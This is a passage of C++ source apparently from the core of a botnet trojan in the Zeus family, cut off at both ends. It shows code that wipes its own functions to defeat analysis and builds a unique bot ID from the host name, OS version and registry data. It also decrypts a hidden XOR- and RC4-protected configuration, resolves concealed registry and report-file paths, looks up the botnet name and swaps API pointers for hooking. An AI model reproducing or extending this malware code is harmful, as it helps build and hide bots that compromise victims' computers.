for(DWORD i = 0; i < sizeof(coreData.ntdllApi) / sizeof(void *); i++)if(list[i] == (void *)oldFunction)list[i] = (void *)newFunction;
}
bool Core::isActive(void)
{
return CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 0) == WAIT_OBJECT_0 ? false : true;
}
void Core::_destroyFunction(void *p)
{
LPBYTE cur = (LPBYTE)p;
DWORD size;
WDEBUG1(WDDT_INFO, "Destroying function 0x%p", p);
for(;;)
{
size = Disasm::_getOpcodeLength(cur);
if(size == (DWORD)(-1) || *cur == 0xC3 || *cur == 0xC2 || *cur == 0xCB || *cur == 0xCA)break; //All kinds of ret for x32, x64
Crypt::_generateBinaryData(cur, size, 0, 0xFF, false);
cur += size;
}
WDEBUG1(WDDT_INFO, "Destroyed %u bytes", (DWORD)(cur - (LPBYTE)p));
}
void Core::_generateBotId(LPWSTR buf)
{
WCHAR cid[40];
DWORD subId[2];
//Obtain NetBIOS.
int size = sizeof(cid) / sizeof(WCHAR);
if(CWA(kernel32, GetComputerNameW)(cid, (LPDWORD)&size) == FALSE)CryptedStrings::_getW(CryptedStrings::id_core_botid_unknown, cid);
//Obtain version. Here, a strong paranoia about the Mem:: _zero ().
OSVERSIONINFOEXW ovi;
Mem::_zero(&ovi, sizeof(OSVERSIONINFOEXW));
ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
if(CWA(kernel32, GetVersionExW)((OSVERSIONINFOW *)&ovi) == FALSE)Mem::_zero(&ovi, sizeof(OSVERSIONINFOEXW));
else Mem::_zero(ovi.szCSDVersion, sizeof(ovi.szCSDVersion));
{
CSTR_GETW(regKey, core_botid_regkey);
//Date of installation.
{
CSTR_GETW(regValue1, core_botid_regvalue_1);
subId[0] = Registry::_getValueAsDword(HKEY_LOCAL_MACHINE, regKey, regValue1);
}
//Registration data.
{
CSTR_GETW(regValue2, core_botid_regvalue_2);
subId[1] = Registry::_getsCrc32OfValue(HKEY_LOCAL_MACHINE, regKey, regValue2);
}
}
//Create a full ID
{
CSTR_GETW(format, core_botid_format);
size = Str::_sprintfW(buf, 60, format, cid, Crypt::crc32Hash((LPBYTE)&ovi, sizeof(OSVERSIONINFOEXW)), Crypt::crc32Hash((LPBYTE)subId, sizeof(subId)));
}
if(size < 1)CryptedStrings::_getW(CryptedStrings::id_core_botid_format_error, buf);
}
void Core::getBaseConfig(BASECONFIG *bc)
{
Mem::_copy(bc, baseConfigSource, sizeof(BASECONFIG));
LPBYTE p = (LPBYTE)coreData.modules.current + coreData.baseConfigInfo.xorKey;
for(DWORD i = 0; i < sizeof(BASECONFIG); i++)((LPBYTE)bc)[i] ^= p[i];
}
void Core::getPeSettings(PESETTINGS *ps)
{
BASECONFIG baseConfig;
getBaseConfig(&baseConfig);
Crypt::RC4KEY rc4k;
Mem::_copy(&rc4k, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
Mem::_copy(ps, &coreData.peSettings, sizeof(PESETTINGS));
Crypt::_rc4(ps, sizeof(PESETTINGS), &rc4k);
}
void Core::getPeSettingsPath(DWORD type, LPWSTR path)
{
*path = 0;
WCHAR buf[50];
PESETTINGS pe;
getPeSettings(&pe);
//Obtain baseline data.
LPSTR source;
LPWSTR prefix;
switch(type)
{
case PSP_COREFILE:
prefix = coreData.paths.home;
source = pe.userPaths.coreFile;
break;
case PSP_QUICKSETTINGSFILE:
case PSP_REPORTFILE:
prefix = coreData.paths.home;
source = pe.userPaths.reportFile;
break;
case PSP_REGKEY:
prefix = PATH_REGKEY;
source = pe.userPaths.regKey;
break;
default: return;
}
//Putting the path.
if(Str::_ansiToUnicode(source, -1, buf, sizeof(buf) / sizeof(WCHAR)) != 0)
{
if(!Fs::_pathCombine(path, prefix, buf))*path = 0;
else if(type == PSP_QUICKSETTINGSFILE && CWA(shlwapi, PathRenameExtensionW)(path, L".dat") == FALSE)*path = 0;
}
}
void Core::getRegistryValue(DWORD type, LPWSTR key, LPWSTR value)
{
PESETTINGS pe;
LPSTR source;
getPeSettings(&pe);
switch(type)
{
case RV_DYNAMICCONFIG: source = pe.userPaths.regDynamicConfig; break;
case RV_LOCALCONFIG: source = pe.userPaths.regLocalConfig; break;
case RV_LOCALSETTINGS: source = pe.userPaths.regLocalSettings; break;
default: return;
}
if(Str::_ansiToUnicode(pe.userPaths.regKey, -1, value, sizeof(pe.userPaths.regKey) / sizeof(char)) != 0 &&
Fs::_pathCombine(key, PATH_REGKEY, value) &&
Str::_ansiToUnicode(source, -1, value, CORE_REGISTRY_VALUE_BUFFER_SIZE) != 0)
{
return;
}
*key = 0;
*value = 0;
}
void Core::getCurrentBotnetName(LPWSTR name)
{
LocalSettings::SETTINGS ls;
LocalSettings::getCurrent(&ls);
if(ls.flags & LocalSettings::FLAG_BOTNET)
{
Str::_CopyW(name, ls.botnet, -1);
}
else
{
BASECONFIG bs;
Core::getBaseConfig(&bs);
Str::_CopyW(name, bs.defaultBotnet, -1);
}
}
void *Core::getBaseOverlay(const void *mem, LPDWORD size)
{
//Create the key.
Crypt::RC4KEY key;
Crypt::_rc4Init(baseConfigSource, sizeof(BASECONFIG), &key);